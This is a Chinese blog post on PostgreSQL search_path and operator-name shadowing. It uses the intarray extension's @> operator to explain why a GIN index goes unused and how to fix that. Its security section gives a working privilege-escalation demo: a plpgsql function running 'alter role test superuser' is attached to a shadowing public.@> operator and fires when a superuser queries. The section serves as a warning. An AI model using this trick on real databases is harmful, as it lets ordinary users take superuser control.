PostgreSQL 同名 index operator search_path优先级引入的一个问题 - 为啥突然不走索引了? - intarray示例

本文涉及的产品
云数据库 RDS SQL Server,基础系列 2核4GB
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云原生数据库 PolarDB 分布式版,标准版 2核8GB
简介: 标签PostgreSQL , intarray , ops , operator , OPERATOR , 操作符路径 , search_path , 优先级背景操作符是数据库最常用的要素之一,一个SQL语句中总是会出现它的影子。

标签

PostgreSQL , intarray , ops , operator , OPERATOR , 操作符路径 , search_path , 优先级


背景

操作符是数据库最常用的要素之一,一个SQL语句中总是会出现它的影子。

select * from tbl where id=1;    

这里的=就是操作符。

实际上操作符的底层还是函数,操作符是函数的综合体。

1、PostgreSQL不仅仅允许用户自定义函数,也允许我们自定义操作符。具体见创建操作符的语法。

https://www.postgresql.org/docs/11/static/sql-createoperator.html

2、PostgreSQL还允许用户自定义索引接口,因此操作符能否使用索引,能使用什么索引接口,这些都可以定义。并且也有对应关系。

https://www.postgresql.org/docs/11/static/sql-createopclass.html

3、PostgreSQL还有一个namespace(schema)的概念,也就是说用户自定义的对象,放在namespace里面。那么我们调用函数,使用操作符时,用的是哪个schema下面的函数与操作符呢?

这个则取决于数据库的search_path参数,有默认值。

postgres=# show search_path ;    
   search_path       
-----------------    
 "$user", public    
(1 row)    

通常系统内置的操作符、函数等都在pg_catalog这个schema下面,它在默认路径的末端。

问题来了

在使用过程中,如果我们创建了与系统内置操作符同名的操作符,并且被优先搜索到(例如放在了user或public下面),可能出现什么情况呢?

思考他们的关系

op    
    
udf    
    
opclass    
    
index    

下面我们来看个例子。

例子, 数组包含查询、透视

我们这里有个例子,是演示数组包含查询、透视。通过gin或rum索引来进行加速。

然而演示过程中,出现了“诡异”的问题。怎么都不走索引了?

1、生成随机数组

create or replace function gen_rand_arr(int,int) returns int[] as $$    
  select array(select (random()*$1)::int from generate_series(1,$2));    
$$ language sql strict;    

2、创建测试表

drop table t1;    
create table t1 (id int, c1 int, arr int[]);    

3、写入1000万数据

insert into t1 select id, random()*100, gen_rand_arr(100,10)     
from generate_series(1,10000000) t(id);    

4、创建数组索引(分别创建rum与gin索引接口的索引,只为测试目的)

create index idx_t1_1 on t1 using rum (arr);      
    
create index idx_t1_2 on t1 using gin (arr);      

5、查看样本数据

postgres=# select * from t1 limit 10;    
 id | c1 |               arr                   
----+----+---------------------------------    
  1 |  1 | {64,22,99,58,5,0,75,50,15,100}    
  2 | 83 | {8,81,82,70,86,92,26,4,69,11}    
  3 | 61 | {9,75,61,82,65,54,100,44,54,64}    
  4 | 66 | {53,22,71,54,97,21,69,97,4,77}    
  5 | 78 | {86,47,64,78,72,68,47,83,28,57}    
  6 | 58 | {89,38,23,43,38,67,97,2,33,50}    
  7 | 24 | {4,4,21,25,73,18,29,49,95,15}    
  8 | 96 | {59,93,68,27,40,52,55,97,10,44}    
  9 | 35 | {33,86,73,100,83,76,32,34,0,36}    
 10 | 38 | {21,61,10,39,91,59,34,6,55,93}    
(10 rows)    

6、使用数组包含查询,检查执行计划

postgres=# explain select count(*) from t1 where arr @> array[1,2];    
                           QUERY PLAN                                
-----------------------------------------------------------------    
 Aggregate  (cost=248675.25..248675.26 rows=1 width=8)    
   ->  Seq Scan on t1  (cost=0.00..248457.00 rows=87300 width=0)    
         Filter: (arr @> '{1,2}'::integer[])    
(3 rows)    

未走索引问题分析

为什么它没走索引呢?

原因是我们用到了一个非系统操作符@>,因为我们之前创建了intarray插件,这个插件包含了@>操作符,并创建在public下面。

这意味着,我们在使用@>时,调用了public下面的@>,并且这个@>操作符有它自己的ops,并不是gin默认的ops(系统中gin默认的是系统的gin ops)。

这就解开谜团了:

1、我们调用了intarray插件在public下新增的@>,并不是系统pg_catalog下的@>

postgres=# \do @>    
                               List of operators    
   Schema   | Name | Left arg type | Right arg type | Result type | Description     
------------+------+---------------+----------------+-------------+-------------    
 pg_catalog | @>   | aclitem[]     | aclitem        | boolean     | contains    
 pg_catalog | @>   | anyarray      | anyarray       | boolean     | contains  -- 系统的    
 pg_catalog | @>   | anyrange      | anyelement     | boolean     | contains      
 pg_catalog | @>   | anyrange      | anyrange       | boolean     | contains    
 pg_catalog | @>   | box           | box            | boolean     | contains    
 pg_catalog | @>   | box           | point          | boolean     | contains    
 pg_catalog | @>   | circle        | circle         | boolean     | contains    
 pg_catalog | @>   | circle        | point          | boolean     | contains    
 pg_catalog | @>   | jsonb         | jsonb          | boolean     | contains    
 pg_catalog | @>   | path          | point          | boolean     | contains    
 pg_catalog | @>   | polygon       | point          | boolean     | contains    
 pg_catalog | @>   | polygon       | polygon        | boolean     | contains    
 pg_catalog | @>   | tsquery       | tsquery        | boolean     | contains    
 public     | @>   | integer[]     | integer[]      | boolean     | contains  -- intarray新加的    
(14 rows)    
contrib/intarray/intarray--1.2.sql    
    
    
CREATE OPERATOR @> (    
        LEFTARG = _int4,    
        RIGHTARG = _int4,    
        PROCEDURE = _int_contains,    
        COMMUTATOR = '<@',    
        RESTRICT = _int_contains_sel,    
        JOIN = _int_contains_joinsel    
);    

2、这个@>,它本身是能走索引,但是它的OPS并不是系统的gin 索引默认的ops,而是新加的gin__int_ops这个OPS。

contrib/intarray/intarray--1.2.sql    
    
    
CREATE OPERATOR CLASS gin__int_ops    
FOR TYPE _int4 USING gin    
AS    
        OPERATOR        3       &&,    
        OPERATOR        6       = (anyarray, anyarray),    
        OPERATOR        7       @>,    
        OPERATOR        8       <@,    
        OPERATOR        13      @,    
        OPERATOR        14      ~,    
        OPERATOR        20      @@ (_int4, query_int),    
        FUNCTION        1       btint4cmp (int4, int4),    
        FUNCTION        2       ginarrayextract (anyarray, internal, internal),    
        FUNCTION        3       ginint4_queryextract (_int4, internal, int2, internal, internal, internal, internal),    
        FUNCTION        4       ginint4_consistent (internal, int2, _int4, int4, internal, internal, internal, internal),    
        STORAGE         int4;    

3、而我们创建的索引,用的是系统默认的GIN_OPS,所以这就导致了我们上面例子的问题。他们没有对应起来。

怎么解决这个问题呢?

完整的操作符调用语法

既然数据库有SCHEMA的概念,并且我们自定义的OP在不同的SCHEMA下可以重名,那么如果我们需要调用某个SCHEMA的OP怎么调用呢?

默认情况下,搜索OP,包括UDF,都是通过search_path这个参数决定的,前面讲过了。所以我们在public下优先搜到了intarray创建的@>操作符,导致了前面不走索引的问题。

1、完整语法

expression operator expression (binary infix operator)    
operator expression (unary prefix operator)    
expression operator (unary postfix operator)    
    
    
OPERATOR(schema.operatorname)    

上面的情况,

1、方法1,我们通过改写SQL,就能用上索引,即,告诉数据库,我们需要调用哪个schema下面的op (与索引的ops对应起来即可).

postgres=# explain select count(*) from t1 where arr OPERATOR(public.@>) array[1,2];    
                           QUERY PLAN                                
-----------------------------------------------------------------    
 Aggregate  (cost=248675.25..248675.26 rows=1 width=8)    
   ->  Seq Scan on t1  (cost=0.00..248457.00 rows=87300 width=0)    
         Filter: (arr @> '{1,2}'::integer[])    
(3 rows)    
    
postgres=# explain select count(*) from t1 where arr OPERATOR(pg_catalog.@>) array[1,2];    
                                    QUERY PLAN                                         
-----------------------------------------------------------------------------------    
 Aggregate  (cost=68581.20..68581.21 rows=1 width=8)    
   ->  Bitmap Heap Scan on t1  (cost=986.77..68362.95 rows=87300 width=0)    
         Recheck Cond: (arr OPERATOR(pg_catalog.@>) '{1,2}'::integer[])    
         ->  Bitmap Index Scan on idx_t1_3  (cost=0.00..964.95 rows=87300 width=0)    
               Index Cond: (arr OPERATOR(pg_catalog.@>) '{1,2}'::integer[])    
(5 rows)    

2、方法2,创建索引时,使用OP对应的OPS。

把原来的索引删掉,改成下面,或者你保留两个索引接口也可以(当然通常我们只需要一个,只要调用的OP与INDEX内的OPS对应即可)    
    
drop index idx_t1_3;    
    
create index idx_t1_3 on t1 using gin (arr gin__int_ops);    

现在反过来了,默认的public的OP走了索引。

postgres=# explain select count(*) from t1 where arr OPERATOR(public.@>) array[1,2];    
                                    QUERY PLAN                                         
-----------------------------------------------------------------------------------    
 Aggregate  (cost=68581.20..68581.21 rows=1 width=8)    
   ->  Bitmap Heap Scan on t1  (cost=986.77..68362.95 rows=87300 width=0)    
         Recheck Cond: (arr @> '{1,2}'::integer[])    
         ->  Bitmap Index Scan on idx_t1_3  (cost=0.00..964.95 rows=87300 width=0)    
               Index Cond: (arr @> '{1,2}'::integer[])    
(5 rows)    
    
postgres=# explain select count(*) from t1 where arr OPERATOR(pg_catalog.@>) array[1,2];    
                            QUERY PLAN                                
------------------------------------------------------------------    
 Aggregate  (cost=248675.25..248675.26 rows=1 width=8)    
   ->  Seq Scan on t1  (cost=0.00..248457.00 rows=87300 width=0)    
         Filter: (arr OPERATOR(pg_catalog.@>) '{1,2}'::integer[])    
(3 rows)    

安全风险注意

1、只要有权限,用户可以在public下面定义一堆与pg_catalog下面重名的op,当超级用户执行一些SQL时,(如果设置了search_path中包含public,)可能优先使用这些用户创建的public.OP,从而导致安全问题。

例如普通用户在函数中提权。

例子:

普通用户创建函数,提权。

postgres=> create or replace function hack(_int4,_int4) returns boolean as $$                  
declare    
begin    
  alter role test superuser; raise notice 'hacked';    
  return $1 operator(pg_catalog.@>) $2;    
end;    
$$ language plpgsql strict security invoker;    
CREATE FUNCTION    

普通用户创建pg_catalog里面同名的OP到public下面

postgres=> create operator public.@> (procedure = hack, leftarg='_int4', rightarg='_int4');    
CREATE OPERATOR    

超级用户调用这个OP,导致提权。

postgres=# select * from t1 where arr @> array[1,2] limit 1;    
NOTICE:  hacked    
  
select 1 where array[1,2] @> array[1,2];   

查看提权效果。

postgres=# \du+ test    
                  List of roles    
 Role name | Attributes | Member of | Description     
-----------+------------+-----------+-------------    
 test      | Superuser  | {}        |     

NOW, test变成超级用户了。

小结

1、op, index, ops 最好对应起来,否则使用时很容易出现本文提到的问题。怎么就不走索引了?

2、如果需要自定义OP,尽量不要与系统的OP重名。

3、安全需要考虑,普通用户可下FUNCTION,OP与系统FUNCTION,OP重名陷阱,由于public的路径优先级高于pg_catalog,所以超级用户调用这个操作符时,可导致提权。

参考

https://www.postgresql.org/docs/11/static/sql-expressions.html#SQL-EXPRESSIONS-OPERATOR-CALLS

https://www.postgresql.org/docs/11/static/intarray.html

相关实践学习
使用PolarDB和ECS搭建门户网站
本场景主要介绍如何基于PolarDB和ECS实现搭建门户网站。
阿里云数据库产品家族及特性
阿里云智能数据库产品团队一直致力于不断健全产品体系,提升产品性能,打磨产品功能,从而帮助客户实现更加极致的弹性能力、具备更强的扩展能力、并利用云设施进一步降低企业成本。以云原生+分布式为核心技术抓手,打造以自研的在线事务型(OLTP)数据库Polar DB和在线分析型(OLAP)数据库Analytic DB为代表的新一代企业级云原生数据库产品体系, 结合NoSQL数据库、数据库生态工具、云原生智能化数据库管控平台,为阿里巴巴经济体以及各个行业的企业客户和开发者提供从公共云到混合云再到私有云的完整解决方案,提供基于云基础设施进行数据从处理、到存储、再到计算与分析的一体化解决方案。本节课带你了解阿里云数据库产品家族及特性。
目录
相关文章
|
2月前
|
存储 SQL 关系型数据库
mysql底层原理:索引、慢查询、 sql优化、事务、隔离级别、MVCC、redolog、undolog(图解+秒懂+史上最全)
mysql底层原理:索引、慢查询、 sql优化、事务、隔离级别、MVCC、redolog、undolog(图解+秒懂+史上最全)
mysql底层原理:索引、慢查询、 sql优化、事务、隔离级别、MVCC、redolog、undolog(图解+秒懂+史上最全)
|
2月前
|
存储 关系型数据库 MySQL
MySQL数据库索引的数据结构?
MySQL中默认使用B+tree索引,它是一种多路平衡搜索树,具有树高较低、检索速度快的特点。所有数据存储在叶子节点,非叶子节点仅作索引,且叶子节点形成双向链表,便于区间查询。
86 4
|
4月前
|
存储 关系型数据库 MySQL
阿里面试:MySQL 一个表最多 加几个索引? 6个?64个?还是多少?
阿里面试:MySQL 一个表最多 加几个索引? 6个?64个?还是多少?
阿里面试:MySQL 一个表最多 加几个索引? 6个?64个?还是多少?
|
3月前
|
存储 监控 关系型数据库
B-tree不是万能药:PostgreSQL索引失效的7种高频场景与破解方案
在PostgreSQL优化实践中,B-tree索引虽承担了80%以上的查询加速任务,但因多种原因可能导致索引失效,引发性能骤降。本文深入剖析7种高频失效场景,包括隐式类型转换、函数包裹列、前导通配符等,并通过实战案例揭示问题本质,提供生产验证的解决方案。同时,总结索引使用决策矩阵与关键原则,助你让索引真正发挥作用。
209 0
|
6月前
|
关系型数据库 MySQL 数据库
Mysql的索引
MYSQL索引主要有 : 单列索引 , 组合索引和空间索引 , 用的比较多的就是单列索引和组合索引 , 空间索引我这边没有用到过 单列索引 : 在MYSQL数据库表的某一列上面创建的索引叫单列索引 , 单列索引又分为 ● 普通索引:MySQL中基本索引类型,没有什么限制,允许在定义索引的列中插入重复值和空值,纯粹为了查询数据更快一点。 ● 唯一索引:索引列中的值必须是唯一的,但是允许为空值 ● 主键索引:是一种特殊的唯一索引,不允许有空值 ● 全文索引: 只有在MyISAM引擎、InnoDB(5.6以后)上才能使⽤用,而且只能在CHAR,VARCHAR,TEXT类型字段上使⽤用全⽂文索引。
|
2月前
|
存储 SQL 关系型数据库
MySQL 核心知识与索引优化全解析
本文系统梳理了 MySQL 的核心知识与索引优化策略。在基础概念部分,阐述了 char 与 varchar 在存储方式和性能上的差异,以及事务的 ACID 特性、并发事务问题及对应的隔离级别(MySQL 默认 REPEATABLE READ)。 索引基础部分,详解了 InnoDB 默认的 B+tree 索引结构(多路平衡树、叶子节点存数据、双向链表支持区间查询),区分了聚簇索引(数据与索引共存,唯一)和二级索引(数据与索引分离,多个),解释了回表查询的概念及优化方法,并分析了 B+tree 作为索引结构的优势(树高低、效率稳、支持区间查询)。 索引优化部分,列出了索引创建的六大原则
|
3月前
|
存储 关系型数据库 MySQL
MySQL覆盖索引解释
总之,覆盖索引就像是图书馆中那些使得搜索变得极为迅速和简单的工具,一旦正确使用,就会让你的数据库查询飞快而轻便。让数据检索就像是读者在图书目录中以最快速度找到所需信息一样简便。这样的效率和速度,让覆盖索引成为数据库优化师傅们手中的尚方宝剑,既能够提升性能,又能够保持系统的整洁高效。
100 9
|
4月前
|
机器学习/深度学习 关系型数据库 MySQL
对比MySQL全文索引与常规索引的互异性
现在,你或许明白了这两种索引的差异,但任何技术决策都不应仅仅基于理论之上。你可以创建你的数据库实验环境,尝试不同类型的索引,看看它们如何影响性能,感受它们真实的力量。只有这样,你才能熟悉它们,掌握什么时候使用全文索引,什么时候使用常规索引,以适应复杂多变的业务需求。
100 12
|
8月前
|
存储 关系型数据库 MySQL
MySQL索引学习笔记
本文深入探讨了MySQL数据库中慢查询分析的关键概念和技术手段。
565 81
|
5月前
|
SQL 存储 关系型数据库
MySQL选错索引了怎么办?
本文探讨了MySQL中因索引选择不当导致查询性能下降的问题。通过创建包含10万行数据的表并插入数据,分析了一条简单SQL语句在不同场景下的执行情况。实验表明,当数据频繁更新时,MySQL可能因统计信息不准确而选错索引,导致全表扫描。文章深入解析了优化器判断扫描行数的机制,指出基数统计误差是主要原因,并提供了通过`analyze table`重新统计索引信息的解决方法。
132 3

相关产品

  • 云原生数据库 PolarDB
  • 云数据库 RDS PostgreSQL 版
  • 推荐镜像

    更多